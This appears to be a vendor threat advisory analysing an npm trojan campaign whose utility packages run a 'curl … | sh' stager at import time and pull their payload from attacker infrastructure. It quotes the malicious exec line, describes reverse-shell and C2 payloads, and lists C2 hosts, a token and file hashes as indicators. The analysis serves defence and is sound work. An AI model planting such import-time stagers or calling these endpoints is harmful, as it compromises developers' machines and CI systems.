GhostTracker: npm Trojan Rebranded in 74 Minutes — Same C2

GhostTracker: an npm trojan that rebranded within hours of takedown — and kept the same C2

TL;DR

A single npm operator published five trojanized packages across two rounds in three days. The packages pose as tiny terminal-color, logger, and Postgres-client utilities. The malicious code runs the moment the package is imported — there is no install script to catch.

Round one (neon-terminal, neon-postgres, ne-logger) was unpublished on 2026-07-05 at 14:14 UTC. Seventy-four minutes later the same account republished the same trojan under new names (agn-terminal, agn-logger) — and pointed it at the same command-and-control endpoint it had used before: tracker.bvgroup.co.

That C2 host is the one indicator that survives the rename, and the fastest thing for a defender to search for. Severity: high. Ecosystem: npm. The second-round packages were still live at time of writing.

The attack: how it works

The packages are functional decoys. Open agn-terminal and you find a complete, working ANSI color helper — codes, supportsColor, colorize, paint — with types and a README. The utility code works. Bolted to the top of the entry module, above the useful code, sits a few lines that run on import.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Three things make this effective.

  • It fires at import, not on install. The package declares no preinstall or postinstall hook — the usual place scanners and reviewers look. The exec call is module-level code. It runs the first time anything does require(“agn-terminal”) or import “agn-terminal”, on the developer’s machine or inside CI. Both the ESM entry (src/index.js) and the CommonJS entry (cjs/src/index.js) carry the identical payload, so both module systems are covered.
  • The real payload lives off-package. The package ships only a one-line stager: fetch remote.agyn.org/remote.sh` and pipe it to sh`. Whatever the operator serves from that URL at request time is what runs. The C2 endpoint is handed to the downloaded script through the TRACKER_REMOTE_ENDPOINT environment variable, so the stage-two script phones home to tracker.bvgroup.co.
  • A carrier package widens the blast radius. agn-logger is a second decoy — a “tiny global logger.” It has no payload of its own. Its entry module does one relevant thing:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

It declares agn-terminal as a dependency and imports it. Installing or importing the logger pulls in and triggers the terminal package transitively. A project that never names the Trojan directly can still execute it through the logger.

What’s new here

The first round did not use a remote stager. It shipped the payload inline and escalated it version by version — a bash reverse shell in one release, a net.Socket reverse shell in the next, a git add/commit/push of the victim’s working directory in another, and finally a full HTTP command-and-control agent in neon-terminal 0.9.0 that registered the host, polled for tasks, ran them with exec(), and streamed base64-encoded output back. The second round collapses all of that into a single curl | sh, moving stage two off the registry entirely. Same operator, quieter package, more flexible payload — and, critically, the same C2 as before.

Timeline

Date (UTC) Event
2026-07-03 07:03 Round one published: neon-terminal (0.1.0 clean, then 0.2.0–0.9.0 malicious), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal flagged in real-time scanning
2026-07-04 Confirmed malicious; correlation surfaces the two sibling packages; first takedown attempts filed
2026-07-05 14:14 Round one unpublished — all eight neon-terminal versions plus siblings removed
2026-07-05 15:28 agn-terminal 0.1.0 published
2026-07-05 15:29 agn-logger 0.1.0 published — carrier for the new terminal package
2026-07-05 (ongoing) Round-two packages live at time of writing

The two rounds sit three days apart, and the gap between removal and relaunch was 74 minutes. The campaign is open: the agn-* packages had not been removed when this was written.

Indicators of compromise

Search lockfiles and dependency trees for the package names. Search proxy, DNS, and EDR logs for the network endpoints. The C2 host tracker.bvgroup.co spans both rounds and is the highest-value single indicator.

Packages

Package Versions Role Status
neon-terminal 0.2.0–0.9.0 trojan (inline payloads → HTTP C2) unpublished
neon-postgres 3.5.2 trojan (payload in src/errors.js) unpublished
ne-logger 0.7.0 carrier (depends on neon-terminal) unpublished
agn-terminal 0.1.0 trojan (curl | sh stager) live
agn-logger 0.1.0 carrier (depends on agn-terminal) live

neon-terminal 0.1.0 was a clean seed — a working color library with no payload — published to establish the package before the malicious versions followed.

Network

Indicator Context
tracker.bvgroup.co/remote/… HTTP C2, both rounds (round-two token t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh round-two stage-one loader
reverse.bvgroup.co:443 round-one reverse-shell endpoint (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 round-one reverse shell (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 round-one reverse shell (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io operator-controlled domains

Behavioral

  • Module-level child_process.exec at the top of a utility package’s entry file, in both src/index.js (ESM) and cjs/src/index.js (CJS).
  • A curl -fsSL … | sh one-liner with the C2 passed via a TRACKER_REMOTE_ENDPOINT environment variable.
  • A second “utility” package that declares the first as a dependency and imports it, with no payload of its own.
  • A leftover // neon-terminal comment at the top of agn-terminal — a copy-paste artifact linking the rebrand to the original.

File hashes (SHA-256, round two)

  • agn-terminal src/index.js6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • agn-terminal cjs/src/index.jsb85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Attribution and observed behavior

Every package traces to one npm account, vitalii-agyn, publishing under the unverified email vitalii@agyn.io. The account’s own registry metadata lists all three round-one packages as maintained by it. The infrastructure ties the rounds together: the domain agyn.org matches the publisher’s agyn.io email domain, and the C2 host tracker.bvgroup.co appears in both neon-terminal 0.9.0 and agn-terminal 0.1.0 — the same collector path, reused verbatim after the rename.

We describe what the artifacts show and stop there. The publisher’s stated email is vitalii@agyn.io; we have not verified ownership of that address, and we do not attribute the account to any named person or group. The reuse of one C2 endpoint across two package families is a strong same-operator signal, not an identity.

The round-one packages leaned on brand adjacency. neon-postgres was a full clone of Porsager’s widely used postgres.js client, tagline and all, with the payload tucked into src/errors.js so a routine import path would reach it — and the neon- prefix borrows the recognizability of Neon, the serverless Postgres provider. The round-two names dropped the impersonation and went generic (agn-terminal, agn-logger), trading brand pull for a cleaner break from the burned names.

  • Who is exposed. Anyone who installs and imports one of these packages, directly or through the carrier, on a Unix-like host. The stager uses curl and sh; the round-one shells use bash and /dev/tcp. Because execution happens at import, a build server that installs the dependency and runs any code that touches it is enough — no post-install step required. On a developer workstation or CI runner, the downloaded stage two runs with the user’s privileges and full network reach.
  • Why import-time execution matters. Supply-chain defenses have concentrated on install scripts, and for good reason — postinstall is the classic npm foothold. This campaign sidesteps that entirely. There is no install hook to flag. The malicious code is ordinary module initialization, indistinguishable at a glance from a package computing a lookup table at load. Tooling that only inspects scripts in package.json sees nothing.
  • The rebrand-and-reuse trend. The 74-minute turnaround is the story. Takedown removed the names but not the operator, the infrastructure, or the code. Within the hour the campaign was live again under fresh names pointing at the same C2. Name-based blocking — denylisting neon-terminal — would have already been stale. Infrastructure-based blocking — denylisting bvgroup.co — would have caught round two on arrival. For a live operator who re-publishes faster than registries remove, the durable indicator is the network endpoint, not the package name.

What to do now

  • Grep lockfiles and installed trees for all five package names above. Treat any match as a compromised host and rotate credentials reachable from it.
  • Block and alert on the domains bvgroup.co, agyn.org, and the ngrok endpoints in DNS and egress filtering. tracker.bvgroup.co is the priority.
  • Do not rely on install-hook scanning alone. Add detection for module-level child_process and network calls in dependencies, and for curl … | sh patterns in package source.
  • Treat a utility package that declares another obscure utility as its sole dependency, and imports it at load, as worth a second look.
  • In CI, prefer –ignore-scripts where practical, but understand it does not help here — the payload runs at import, so runtime egress controls and dependency review matter more.

References

sca-tools-software-composition-analysis-tools
Prioritize, remediate, and secure your software risks
Get your Free Account.
No credit card required.

Secure your Software Development and Delivery

with Xygeni Product Suite